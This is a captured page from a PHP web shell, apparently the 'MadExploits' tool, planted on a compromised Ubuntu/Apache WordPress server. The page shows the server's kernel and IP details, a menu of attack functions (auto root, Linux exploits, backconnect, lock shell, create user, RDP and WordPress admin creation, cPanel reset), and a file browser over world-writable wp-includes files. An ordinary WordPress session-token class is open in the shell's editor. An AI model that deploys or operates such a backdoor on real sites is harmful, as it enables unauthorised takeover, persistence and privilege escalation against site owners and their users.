Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
blog /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxrwxrwx
IXR
[ DIR ]
drwxrwxrwx
Requests
[ DIR ]
drwxrwxrwx
SimplePie
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
blocks
[ DIR ]
drwxrwxrwx
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
customize
[ DIR ]
drwxrwxrwx
fonts
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
pomo
[ DIR ]
drwxrwxrwx
random_compat
[ DIR ]
drwxrwxrwx
rest-api
[ DIR ]
drwxrwxrwx
theme-compat
[ DIR ]
drwxrwxrwx
widgets
[ DIR ]
drwxrwxrwx
admin-bar.php
29.09
KB
-rw-rw-rw-
atomlib.php
11.56
KB
-rw-rw-rw-
author-template.php
16.23
KB
-rw-rw-rw-
blocks.php
8.84
KB
-rw-rw-rw-
bookmark-template.php
11.64
KB
-rw-rw-rw-
bookmark.php
13.57
KB
-rw-rw-rw-
cache.php
21.34
KB
-rw-rw-rw-
canonical.php
27.73
KB
-rw-rw-rw-
capabilities.php
28.84
KB
-rw-rw-rw-
category-template.php
50.81
KB
-rw-rw-rw-
category.php
11.94
KB
-rw-rw-rw-
class-IXR.php
2.51
KB
-rw-rw-rw-
class-feed.php
523
B
-rw-rw-rw-
class-http.php
36.23
KB
-rw-rw-rw-
class-json.php
39.53
KB
-rw-rw-rw-
class-oembed.php
30.74
KB
-rw-rw-rw-
class-phpass.php
7.15
KB
-rw-rw-rw-
class-phpmailer.php
143.34
KB
-rw-rw-rw-
class-pop3.php
20.43
KB
-rw-rw-rw-
class-requests.php
29.09
KB
-rw-rw-rw-
class-simplepie.php
87.17
KB
-rw-rw-rw-
class-smtp.php
38.55
KB
-rw-rw-rw-
class-snoopy.php
36.9
KB
-rw-rw-rw-
class-walker-category-dropdown...
2.08
KB
-rw-rw-rw-
class-walker-category.php
6.62
KB
-rw-rw-rw-
class-walker-comment.php
11.74
KB
-rw-rw-rw-
class-walker-nav-menu.php
8.38
KB
-rw-rw-rw-
class-walker-page-dropdown.php
2.24
KB
-rw-rw-rw-
class-walker-page.php
6.79
KB
-rw-rw-rw-
class-wp-admin-bar.php
16.07
KB
-rw-rw-rw-
class-wp-ajax-response.php
5.01
KB
-rw-rw-rw-
class-wp-block-parser.php
14.86
KB
-rw-rw-rw-
class-wp-block-type-registry.p...
4.63
KB
-rw-rw-rw-
class-wp-block-type.php
4.7
KB
-rw-rw-rw-
class-wp-comment-query.php
41.84
KB
-rw-rw-rw-
class-wp-comment.php
8.75
KB
-rw-rw-rw-
class-wp-customize-control.php
24.47
KB
-rw-rw-rw-
class-wp-customize-manager.php
195.47
KB
-rw-rw-rw-
class-wp-customize-nav-menus.p...
53.08
KB
-rw-rw-rw-
class-wp-customize-panel.php
9.42
KB
-rw-rw-rw-
class-wp-customize-section.php
9.99
KB
-rw-rw-rw-
class-wp-customize-setting.php
27.59
KB
-rw-rw-rw-
class-wp-customize-widgets.php
64.77
KB
-rw-rw-rw-
class-wp-dependency.php
2.28
KB
-rw-rw-rw-
class-wp-editor.php
66.27
KB
-rw-rw-rw-
class-wp-embed.php
14.39
KB
-rw-rw-rw-
class-wp-error.php
4.81
KB
-rw-rw-rw-
class-wp-feed-cache-transient....
2.5
KB
-rw-rw-rw-
class-wp-feed-cache.php
749
B
-rw-rw-rw-
class-wp-hook.php
13.77
KB
-rw-rw-rw-
class-wp-http-cookie.php
6.44
KB
-rw-rw-rw-
class-wp-http-curl.php
11.65
KB
-rw-rw-rw-
class-wp-http-encoding.php
6.35
KB
-rw-rw-rw-
class-wp-http-ixr-client.php
3.25
KB
-rw-rw-rw-
class-wp-http-proxy.php
5.92
KB
-rw-rw-rw-
class-wp-http-requests-hooks.p...
1.83
KB
-rw-rw-rw-
class-wp-http-requests-respons...
4.19
KB
-rw-rw-rw-
class-wp-http-response.php
2.8
KB
-rw-rw-rw-
class-wp-http-streams.php
15.02
KB
-rw-rw-rw-
class-wp-image-editor-gd.php
12.75
KB
-rw-rw-rw-
class-wp-image-editor-imagick....
21.27
KB
-rw-rw-rw-
class-wp-image-editor.php
11.49
KB
-rw-rw-rw-
class-wp-list-util.php
6.25
KB
-rw-rw-rw-
class-wp-locale-switcher.php
4.91
KB
-rw-rw-rw-
class-wp-locale.php
14.26
KB
-rw-rw-rw-
class-wp-matchesmapregex.php
1.76
KB
-rw-rw-rw-
class-wp-meta-query.php
22.86
KB
-rw-rw-rw-
class-wp-metadata-lazyloader.p...
5.26
KB
-rw-rw-rw-
class-wp-network-query.php
16.79
KB
-rw-rw-rw-
class-wp-network.php
11.93
KB
-rw-rw-rw-
class-wp-oembed-controller.php
5.88
KB
-rw-rw-rw-
class-wp-post-type.php
17.81
KB
-rw-rw-rw-
class-wp-post.php
6.28
KB
-rw-rw-rw-
class-wp-query.php
124.94
KB
-rw-rw-rw-
class-wp-rewrite.php
58.42
KB
-rw-rw-rw-
class-wp-role.php
2.6
KB
-rw-rw-rw-
class-wp-roles.php
8.13
KB
-rw-rw-rw-
class-wp-session-tokens.php
7.26
KB
-rw-rw-rw-
class-wp-simplepie-file.php
2.27
KB
-rw-rw-rw-
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw-rw-rw-
class-wp-site-query.php
26.78
KB
-rw-rw-rw-
class-wp-site.php
7.14
KB
-rw-rw-rw-
class-wp-tax-query.php
18.81
KB
-rw-rw-rw-
class-wp-taxonomy.php
10.41
KB
-rw-rw-rw-
class-wp-term-query.php
33.84
KB
-rw-rw-rw-
class-wp-term.php
5.14
KB
-rw-rw-rw-
class-wp-text-diff-renderer-in...
716
B
-rw-rw-rw-
class-wp-text-diff-renderer-ta...
16.06
KB
-rw-rw-rw-
class-wp-theme.php
48.07
KB
-rw-rw-rw-
class-wp-user-meta-session-tok...
2.92
KB
-rw-rw-rw-
class-wp-user-query.php
30.49
KB
-rw-rw-rw-
class-wp-user.php
20.91
KB
-rw-rw-rw-
class-wp-walker.php
12.39
KB
-rw-rw-rw-
class-wp-widget-factory.php
3.69
KB
-rw-rw-rw-
class-wp-widget.php
17.42
KB
-rw-rw-rw-
class-wp-xmlrpc-server.php
202.29
KB
-rw-rw-rw-
class-wp.php
23.87
KB
-rw-rw-rw-
class.wp-dependencies.php
11.24
KB
-rw-rw-rw-
class.wp-scripts.php
16.79
KB
-rw-rw-rw-
class.wp-styles.php
9.61
KB
-rw-rw-rw-
comment-template.php
87.67
KB
-rw-rw-rw-
comment.php
111.55
KB
-rw-rw-rw-
compat.php
15.99
KB
-rw-rw-rw-
cron.php
30.85
KB
-rw-rw-rw-
date.php
34.34
KB
-rw-rw-rw-
default-constants.php
9.61
KB
-rw-rw-rw-
default-filters.php
24.83
KB
-rw-rw-rw-
default-widgets.php
2.13
KB
-rw-rw-rw-
deprecated.php
111.02
KB
-rw-rw-rw-
embed-template.php
344
B
-rw-rw-rw-
embed.php
43.97
KB
-rw-rw-rw-
feed-atom-comments.php
5.34
KB
-rw-rw-rw-
feed-atom.php
3.09
KB
-rw-rw-rw-
feed-rdf.php
2.68
KB
-rw-rw-rw-
feed-rss.php
1.25
KB
-rw-rw-rw-
feed-rss2-comments.php
4.1
KB
-rw-rw-rw-
feed-rss2.php
3.77
KB
-rw-rw-rw-
feed.php
19.3
KB
-rw-rw-rw-
formatting.php
276.42
KB
-rw-rw-rw-
functions.php
205.61
KB
-rw-rw-rw-
functions.wp-scripts.php
12.53
KB
-rw-rw-rw-
functions.wp-styles.php
8.03
KB
-rw-rw-rw-
general-template.php
139.5
KB
-rw-rw-rw-
http.php
21.9
KB
-rw-rw-rw-
kses.php
55.66
KB
-rw-rw-rw-
l10n.php
50.4
KB
-rw-rw-rw-
link-template.php
135.26
KB
-rw-rw-rw-
load.php
36.37
KB
-rw-rw-rw-
locale.php
141
B
-rw-rw-rw-
media-template.php
46.31
KB
-rw-rw-rw-
media.php
140.63
KB
-rw-rw-rw-
meta.php
45
KB
-rw-rw-rw-
ms-blogs.php
22.48
KB
-rw-rw-rw-
ms-default-constants.php
4.67
KB
-rw-rw-rw-
ms-default-filters.php
6.26
KB
-rw-rw-rw-
ms-deprecated.php
19.44
KB
-rw-rw-rw-
ms-files.php
2.59
KB
-rw-rw-rw-
ms-functions.php
86.81
KB
-rw-rw-rw-
ms-load.php
19.04
KB
-rw-rw-rw-
ms-network.php
3.57
KB
-rw-rw-rw-
ms-settings.php
4.04
KB
-rw-rw-rw-
ms-site.php
41.15
KB
-rw-rw-rw-
nav-menu-template.php
21.2
KB
-rw-rw-rw-
nav-menu.php
39.59
KB
-rw-rw-rw-
option.php
67.92
KB
-rw-rw-rw-
pluggable-deprecated.php
6.12
KB
-rw-rw-rw-
pluggable.php
95.8
KB
-rw-rw-rw-
plugin.php
31.32
KB
-rw-rw-rw-
post-formats.php
6.86
KB
-rw-rw-rw-
post-template.php
59.74
KB
-rw-rw-rw-
post-thumbnail-template.php
8.75
KB
-rw-rw-rw-
post.php
226.64
KB
-rw-rw-rw-
query.php
30.82
KB
-rw-rw-rw-
registration-functions.php
180
B
-rw-rw-rw-
registration.php
180
B
-rw-rw-rw-
rest-api.php
40.53
KB
-rw-rw-rw-
revision.php
21.08
KB
-rw-rw-rw-
rewrite.php
17.27
KB
-rw-rw-rw-
rss-functions.php
193
B
-rw-rw-rw-
rss.php
22.66
KB
-rw-rw-rw-
script-loader.php
105.29
KB
-rw-rw-rw-
session.php
243
B
-rw-rw-rw-
shortcodes.php
20.26
KB
-rw-rw-rw-
spl-autoload-compat.php
2.51
KB
-rw-rw-rw-
taxonomy.php
152.97
KB
-rw-rw-rw-
template-loader.php
2.55
KB
-rw-rw-rw-
template.php
19.77
KB
-rw-rw-rw-
theme.php
99.59
KB
-rw-rw-rw-
update.php
24.79
KB
-rw-rw-rw-
user.php
120.6
KB
-rw-rw-rw-
vars.php
5.58
KB
-rw-rw-rw-
version.php
760
B
-rw-rw-rw-
widgets.php
55.84
KB
-rw-rw-rw-
wlwmanifest.xml
1.02
KB
-rw-rw-rw-
wp-db.php
99.23
KB
-rw-rw-rw-
wp-diff.php
662
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-session-tokens.php
<?php /** * Session API: WP_Session_Tokens class * * @package WordPress * @subpackage Session * @since 4.7.0 */ /** * Abstract class for managing user session tokens. * * @since 4.0.0 */ abstract class WP_Session_Tokens { /** * User ID. * * @since 4.0.0 * @var int User ID. */ protected $user_id; /** * Protected constructor. Use the `get_instance()` method to get the instance. * * @since 4.0.0 * * @param int $user_id User whose session to manage. */ protected function __construct( $user_id ) { $this->user_id = $user_id; } /** * Retrieves a session manager instance for a user. * * This method contains a {@see 'session_token_manager'} filter, allowing a plugin to swap out * the session manager for a subclass of `WP_Session_Tokens`. * * @since 4.0.0 * * @param int $user_id User whose session to manage. * @return WP_Session_Tokens The session object, which is by default an instance of * the `WP_User_Meta_Session_Tokens` class. */ final public static function get_instance( $user_id ) { /** * Filters the class name for the session token manager. * * @since 4.0.0 * * @param string $session Name of class to use as the manager. * Default 'WP_User_Meta_Session_Tokens'. */ $manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' ); return new $manager( $user_id ); } /** * Hashes the given session token for storage. * * @since 4.0.0 * * @param string $token Session token to hash. * @return string A hash of the session token (a verifier). */ final private function hash_token( $token ) { // If ext/hash is not present, use sha1() instead. if ( function_exists( 'hash' ) ) { return hash( 'sha256', $token ); } else { return sha1( $token ); } } /** * Retrieves a user's session for the given token. * * @since 4.0.0 * * @param string $token Session token. * @return array|null The session, or null if it does not exist. */ final public function get( $token ) { $verifier = $this->hash_token( $token ); return $this->get_session( $verifier ); } /** * Validates the given session token for authenticity and validity. * * Checks that the given token is present and hasn't expired. * * @since 4.0.0 * * @param string $token Token to verify. * @return bool Whether the token is valid for the user. */ final public function verify( $token ) { $verifier = $this->hash_token( $token ); return (bool) $this->get_session( $verifier ); } /** * Generates a session token and attaches session information to it. * * A session token is a long, random string. It is used in a cookie * to link that cookie to an expiration time and to ensure the cookie * becomes invalidated when the user logs out. * * This function generates a token and stores it with the associated * expiration time (and potentially other session information via the * {@see 'attach_session_information'} filter). * * @since 4.0.0 * * @param int $expiration Session expiration timestamp. * @return string Session token. */ final public function create( $expiration ) { /** * Filters the information attached to the newly created session. * * Can be used to attach further information to a session. * * @since 4.0.0 * * @param array $session Array of extra data. * @param int $user_id User ID. */ $session = apply_filters( 'attach_session_information', array(), $this->user_id ); $session['expiration'] = $expiration; // IP address. if ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) { $session['ip'] = $_SERVER['REMOTE_ADDR']; } // User-agent. if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) { $session['ua'] = wp_unslash( $_SERVER['HTTP_USER_AGENT'] ); } // Timestamp $session['login'] = time(); $token = wp_generate_password( 43, false, false ); $this->update( $token, $session ); return $token; } /** * Updates the data for the session with the given token. * * @since 4.0.0 * * @param string $token Session token to update. * @param array $session Session information. */ final public function update( $token, $session ) { $verifier = $this->hash_token( $token ); $this->update_session( $verifier, $session ); } /** * Destroys the session with the given token. * * @since 4.0.0 * * @param string $token Session token to destroy. */ final public function destroy( $token ) { $verifier = $this->hash_token( $token ); $this->update_session( $verifier, null ); } /** * Destroys all sessions for this user except the one with the given token (presumably the one in use). * * @since 4.0.0 * * @param string $token_to_keep Session token to keep. */ final public function destroy_others( $token_to_keep ) { $verifier = $this->hash_token( $token_to_keep ); $session = $this->get_session( $verifier ); if ( $session ) { $this->destroy_other_sessions( $verifier ); } else { $this->destroy_all_sessions(); } } /** * Determines whether a session is still valid, based on its expiration timestamp. * * @since 4.0.0 * * @param array $session Session to check. * @return bool Whether session is valid. */ final protected function is_still_valid( $session ) { return $session['expiration'] >= time(); } /** * Destroys all sessions for a user. * * @since 4.0.0 */ final public function destroy_all() { $this->destroy_all_sessions(); } /** * Destroys all sessions for all users. * * @since 4.0.0 */ final public static function destroy_all_for_all_users() { /** This filter is documented in wp-includes/class-wp-session-tokens.php */ $manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' ); call_user_func( array( $manager, 'drop_sessions' ) ); } /** * Retrieves all sessions for a user. * * @since 4.0.0 * * @return array Sessions for a user. */ final public function get_all() { return array_values( $this->get_sessions() ); } /** * Retrieves all sessions of the user. * * @since 4.0.0 * * @return array Sessions of the user. */ abstract protected function get_sessions(); /** * Retrieves a session based on its verifier (token hash). * * @since 4.0.0 * * @param string $verifier Verifier for the session to retrieve. * @return array|null The session, or null if it does not exist. */ abstract protected function get_session( $verifier ); /** * Updates a session based on its verifier (token hash). * * Omitting the second argument destroys the session. * * @since 4.0.0 * * @param string $verifier Verifier for the session to update. * @param array $session Optional. Session. Omitting this argument destroys the session. */ abstract protected function update_session( $verifier, $session = null ); /** * Destroys all sessions for this user, except the single session with the given verifier. * * @since 4.0.0 * * @param string $verifier Verifier of the session to keep. */ abstract protected function destroy_other_sessions( $verifier ); /** * Destroys all sessions for the user. * * @since 4.0.0 */ abstract protected function destroy_all_sessions(); /** * Destroys all sessions for all users. * * @since 4.0.0 */ public static function drop_sessions() {} }
Close